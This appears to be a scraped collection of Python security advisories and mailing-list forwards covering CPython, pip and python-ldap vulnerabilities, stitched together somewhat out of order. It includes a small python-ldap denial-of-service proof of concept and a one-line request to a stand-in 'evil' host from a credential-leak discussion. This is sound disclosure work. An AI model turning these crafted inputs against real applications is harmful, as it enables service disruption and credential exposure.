-------- Forwarded Message -------- Date: Tue, 16 Jun 2026 16:01:03 +0100 From: Steve Dower <steve.dower () python org> Reply-To: security-sig () python org To: security-announce () python org

Reported by Jake Yamaki, Senior Consultant, Bishop Fox.

Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-12003 https://github.com/python/cpython/pull/151545 Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org

bz2.BZ2Decompressor objects could be reused after a decompression error. If an application caught the resulting OSError and retried with the same decompressor, crafted input could cause the decompressor to resume from an invalid internal state and perform out-of-bounds writes to a stack buffer. This could crash the process when processing untrusted data.

-------- Forwarded Message -------- Date: Wed, 3 Jun 2026 14:56:33 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>

There is a MEDIUM severity vulnerability affecting CPython.

unicodedata.normalize() can take excessive CPU time when processing specially crafted Unicode input containing long runs of combining characters with alternating Canonical Combining Class values. This affects all normalization forms.

Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-3276 https://github.com/python/cpython/pull/149080

Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org

Potential DoS via quadratic complexity in unicodedata.normalize()

-------- Forwarded Message -------- Subject: [Security-announce][CVE-2026-7210] The expat and elementtree parsers use insufficient entropy for XML hash-flooding protection Date: Mon, 11 May 2026 17:58:49 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>

There is a MEDIUM severity vulnerability affecting CPython.

xml.parsers.expat and xml.etree.ElementTree use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.

Fully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-7210 https://github.com/python/cpython/pull/149023

Best regards,  Stan Ulbrych. Security-announce mailing list -- security-announce () python org To unsubscribe send an email to security-announce-leave () python org https://mail.python.org/mailman3//lists/security-announce.python.org

xml.parsers.expat and xml.etree.ElementTree use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

-------- Forwarded Message -------- Date: Mon, 27 Apr 2026 20:48:33 +0000 From: Seth Larson <seth () python org> Reply-To: security-sig () python org To: security-announce () python org

There is a MEDIUM severity vulnerability affecting CPython. Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-3087 https://github.com/python/cpython/pull/146591

Security-announce mailing list -- security-announce () python org To unsubscribe send an email to security-announce-leave () python org https://mail.python.org/mailman3//lists/security-announce.python.org

The "profiling.sampling" module (Python 3.15+) and "asyncio introspection capabilities" (3.14+, "python -m asyncio ps" and "python -m asyncio pstree") features could be used to read and write addresses in a privileged process if that process connected to a malicious or "infected" Python process via the remote debugging feature. This vulnerability requires persistently and repeatedly connecting to the process to be exploited, even after the connecting process crashes with high likelihood due to ASLR.

Last updated 6 July 2026

Incomplete mitigation of CVE-2026-4519, %action expansion for command injection to webbrowser.open()

Last updated 6 July 2026

-------- Forwarded Message -------- Date: Fri, 10 Apr 2026 18:19:00 +0000 From: Seth Larson <seth () python org> Reply-To: security-sig () python org To: security-announce () python org

There is a MEDIUM severity vulnerability affecting {project}. Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2026-34460 https://github.com/python/cpython/pull/145267

Security-announce mailing list -- security-announce () python org To unsubscribe send an email to security-announce-leave () python org https://mail.python.org/mailman3//lists/security-announce.python.org

When calling base64.b64decode() or related functions the decoding process would stop after encountering the first padded quad regardless of whether there was more information to be processed. This can lead to data being accepted which may be processed differently by other implementations. Use "validate=True" to enable stricter processing of base64 data.

CR/LF bytes were not rejected by HTTP client proxy tunnel headers or host.

Last updated 6 July 2026

The fix for CVE-2026-0672, which rejected control characters in http.cookies.Morsel, was incomplete. The Morsel.update(), |= operator, and unpickling paths were not patched, allowing control characters to bypass input validation. Additionally, BaseCookie.jsoutput() lacked the output validation applied to BaseCookie.output().

The import hook in CPython that handles legacy .pyc files (SourcelessFileLoader) is incorrectly handled in FileLoader (a base class) and so does not use io.opencode() to read the .pyc files. sys.audit handlers for this audit event therefore do not fire.

When loading a plist file, the plistlib module reads data in size specified by the file itself, meaning a malicious file can cause OOM and DoS issues

Out-of-memory when loading Plist

Summary

ldap.dn.escapednchars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escapednchars(s)

File: Lib/ldap/dn.py

Buggy behavior: For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., adds, modifys, renames, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O. With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

import ldap from ldap.dn import escapednchars, str2dn

l = ldap.initialize("ldap://10.0.1.11") # your lab DC/LDAP l.protocolversion = 3 l.setoption(ldap.OPTREFERRALS, 0) l.simplebinds(r"DSEC\dani.aga", "PassAa1")

--- Attacker-controlled value contains NUL --- cn = "bad\0name" escapedcn = escapednchars(cn) dn = f"CN={escapedcn},OU=Users,DC=dsec,DC=local" attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===") print("escapedcn repr:", repr(escapedcn)) print("dn repr:", repr(dn)) print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> adds(buggy DN): expected client-side failure (no server contact)") try: l.adds(dn, attrs) print("adds(buggy): succeeded (unexpected)") except Exception as e: print("adds(buggy):", type(e).name, e) # ValueError: embedded null character

--- Correct hex escape demonstrates the client proceeds to the server --- safedn = dn.replace("\x00", r"\00") # RFC 4514-compliant print("\n=== HEX-ESCAPED DN (\\00) ===") print("safedn repr:", repr(safedn)) print("=> sanity parse:", str2dn(safedn)) # parses locally

print("=> adds(safe DN): reaches server (AD will likely reject with 34)") try: l.adds(safedn, attrs) print("adds(safe): success (unlikely without required attrs/rights)") except ldap.LDAPError as e: print("adds(safe):", e.class.name, e) # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

adds(buggy): ValueError embedded null character ← client-side DoS

adds(safe): INVALIDDNSYNTAX (result 34, BADNAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escapednchars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

End of life: 10/31/2030, End of support: 10/1/2027, Latest version: 3.14.7

Summary

In the fallback extraction path for source distributions, pip used Python’s tarfile module without verifying that symbolic/hard link targets resolve inside the intended extraction directory. A malicious sdist can include links that escape the target directory and overwrite arbitrary files on the invoking host during pip install.

Impact

Successful exploitation enables arbitrary file overwrite outside the build/extraction directory on the machine running pip. This can be leveraged to tamper with configuration or startup files and may lead to further code execution depending on the environment, but the direct, guaranteed impact is integrity compromise on the vulnerable system.

Conditions

The issue is triggered when installing an attacker-controlled sdist (e.g., from an index or URL) and the fallback extraction code path is used. No special privileges are required beyond running pip install; active user action is necessary.

Remediation

The fix, while available as a patch that can be manually applied, has not yet been put into a numbered version but is planned for 25.3. Using a Python interpreter that implements the safe-extraction behavior described by PEP 706 provides additional defense in depth for other tarfile issues but is not a substitute for upgrading pip for this specific flaw.

Hello!

Thanks for bringing the formatting issue to our attention, the prose description renders fine in the Vulnogram UI. Regarding the version range, I believe that is correct. All Python versions (from 0 to 3.14.0) are affected by this vulnerability. The patches that have landed in GitHub have not yet been released. When the patches are included in a release the CVE will automatically update with the fixed versions.

Hope this helps!

Seth Larson

On Tue, Jul 29, 2025 at 12:50 PM Mats Wichmann <mats () wichmann us> wrote: On 7/28/25 13:55, Alan Coopersmith forwarded a cPython security issue:

some unfortunate glitches here. first, a template failure: There is a HIGH severity vulnerability affecting {project}. second and third: Please see the linked CVE ID for the latest information on affected versions:

https://www.cve.org/CVERecord?id=CVE-2025-8194 The CVE contents suggest nothing is broken:

> affected

> affected from 0 before 3.14.0

(3.14 still being unreleased). But patches for this were backported to all supported cPython versions, so the effect must be a bit wider than that.

And in the cve record itself, the patch suggestion comes out mangled. PSRT mailing list -- psrt () python org To unsubscribe send an email to psrt-leave () python org https://mail.python.org/mailman3//lists/psrt.python.org Member address: seth.larson () pyfound org

There is a defect in the CPython “tarfile” module affecting the “TarFile” extraction and entry enumeration APIs. The tar implementation would process tar archives with negative offsets without error, resulting in an infinite loop and deadlock during the parsing of maliciously crafted tar archives.

This vulnerability can be mitigated by including the following patch after importing the “tarfile” module:

import tarfile

def blockpatched(self, count): if count < 0: # pragma: no cover raise tarfile.InvalidHeaderError("invalid offset") return blockpatched.origblock(self, count)

blockpatched.origblock = tarfile.TarInfo.block tarfile.TarInfo.block = blockpatched

It looks like the following notice never got forwarded to this list.

A followup post added: There is a correction for the mitigation. The mitigation code CVE-2025-4517, CVE-2025-4330, CVE-2025-4138, and CVE-2024-12718 is now provided in this Gist: https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f and a second followup post said: Correction for affectedness, an earlier description of the vulnerabilities mentioned that only Python 3.12 and later are affected, however the tarfile extraction filtering feature had been backported to earlier Python versions. If using extraction filtering in versions earlier than 3.12 then that usage may be affected. As always, please look to the CVE records for up-to-date information about which Python versions are affected. Google's security research team has also published a Proof of Concept for CVE-2025-4517 at:

https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f

-alan-

-------- Forwarded Message -------- Subject: [Security-announce]Multiple CVEs (1 CRITICAL, 3 HIGH, 1 MODERATE) affecting the tarfile module Date: Tue, 3 Jun 2025 08:01:26 -0500 From: Seth Larson <seth () python org> Reply-To: security-sig () python org To: security-announce () python org

There are multiple advisories (1 CRITICAL, 3 HIGH, 1 MODERATE) affecting the CPython tarfile module.

Bypasses in tarfile extraction filtering

These three vulnerabilities are all different methods of bypassing tar extraction filtering which is a feature in Python 3.12 and later.

You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation for more information. Only Python versions 3.12 or later are affected by these vulnerabilities, earlier versions don't include the extraction filter feature.

Note that for Python 3.14 or later the default value of filter= changed from "no filtering" to "data", so if you are relying on this new default behavior then your usage is also affected.

Note that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.

Note that when extracting an untrusted tar archive without extraction filtering enabled already allows for arbitrary write access outside of the extraction directory.

CVE-2025-4517 <https://www.cve.org/CVERecord?id=CVE-2025-4517> (CRITICAL) allows arbitrary filesystem writes outside the extraction directory during extraction with filter="data".

CVE-2025-4330 <https://www.cve.org/CVERecord?id=CVE-2025-4330> (HIGH) allows the extraction filter to be ignored, allowing symlink targets to point outside the destination directory, and the modification of some file metadata.

CVE-2025-4138 <https://www.cve.org/CVERecord?id=CVE-2025-4138> (HIGH) allows creating arbitrary symlinks outside the extraction directory during extraction with filter="data".

CVE-2024-12718 <https://www.cve.org/CVERecord?id=CVE-2024-12718> (MODERATE) allows modifying some file metadata (e.g. last modified) with filter="data" or file permissions (chmod) with filter="tar" of files outside the extraction directory.

Filtered members not skipped with TarFile.errorlevel = 0

When using a TarFile.errorlevel = 0 and extracting with a filter the documented behavior is that any filtered members would be skipped and not extracted. However the actual behavior of TarFile.errorlevel = 0 in affected versions is that the member would still be extracted and not skipped.

CVE-2025-4435 <https://www.cve.org/CVERecord?id=CVE-2025-4435> (HIGH)

Mitigation

The recommended mitigation is to upgrade your Python version to a fixed version or apply the patch(es) linked within the CVEs. If you cannot patch or upgrade, rejecting all links with the parent directory segment ("..") prior to calling extract will mitigate the vulnerabilities below:

Avoid insecure segments in link names. for member in tar.getmembers():     if not member.islnk():         continue     if os.pardir in os.path.split(member.linkname):         raise OSError("Tarfile with insecure segment ('..') in linkname")

Now safe to extract members with the data filter. tar.extractall(filter="data")

Please see the linked CVE IDs for the latest information on affected versions.

Alan Coopersmith <alan.coopersmith () oracle com>, 2025-06-03 10:09:

Juho Forsén, 2025-05-31 06:30: I'm not aware of any good way to disable netrc support in requests: https://github.com/requests/requests/issues/2773 requests.get("http://evil.example.net/";, auth=("", "")) -- Jakub Wilk